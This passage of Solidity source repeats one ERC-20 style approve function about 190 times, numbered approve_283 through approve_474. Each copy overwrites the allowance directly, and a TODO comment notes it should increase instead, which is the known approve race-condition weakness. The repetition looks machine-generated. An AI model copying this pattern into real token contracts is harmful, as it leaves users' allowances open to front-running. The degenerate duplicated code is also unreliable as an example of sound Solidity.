function approve_283(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_284(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_285(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_286(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_287(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_288(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_289(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_290(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_291(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_292(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_293(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_294(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_295(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_296(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_297(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_298(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_299(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_300(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_301(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_302(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_303(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_304(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_305(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_306(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_307(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_308(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_309(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_310(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_311(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_312(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_313(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_314(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_315(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_316(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_317(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_318(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_319(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_320(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_321(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_322(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_323(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_324(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_325(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_326(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_327(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_328(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_329(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_330(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_331(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_332(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_333(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_334(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_335(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_336(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_337(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_338(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_339(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_340(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_341(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_342(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_343(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_344(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_345(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_346(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_347(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_348(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_349(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_350(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_351(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_352(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_353(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_354(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_355(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_356(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_357(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_358(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_359(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_360(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_361(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_362(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_363(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_364(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_365(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_366(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_367(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_368(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_369(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_370(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_371(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_372(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_373(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_374(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_375(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_376(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_377(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_378(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_379(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_380(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_381(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_382(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_383(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_384(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_385(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_386(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_387(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_388(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_389(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_390(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_391(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_392(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_393(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_394(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_395(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_396(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_397(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_398(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_399(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_400(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_401(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_402(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_403(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_404(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_405(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_406(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_407(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_408(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_409(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_410(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_411(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_412(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_413(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_414(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_415(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_416(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_417(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_418(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_419(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_420(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_421(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_422(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_423(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_424(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_425(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_426(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_427(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_428(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_429(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_430(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_431(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_432(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_433(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_434(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_435(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_436(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_437(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_438(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_439(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_440(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_441(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_442(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_443(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_444(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_445(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_446(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_447(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_448(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_449(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_450(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_451(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_452(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_453(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_454(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_455(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_456(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_457(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_458(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_459(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_460(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_461(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_462(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_463(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_464(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_465(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_466(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_467(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_468(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_469(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_470(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_471(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_472(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_473(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_474(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
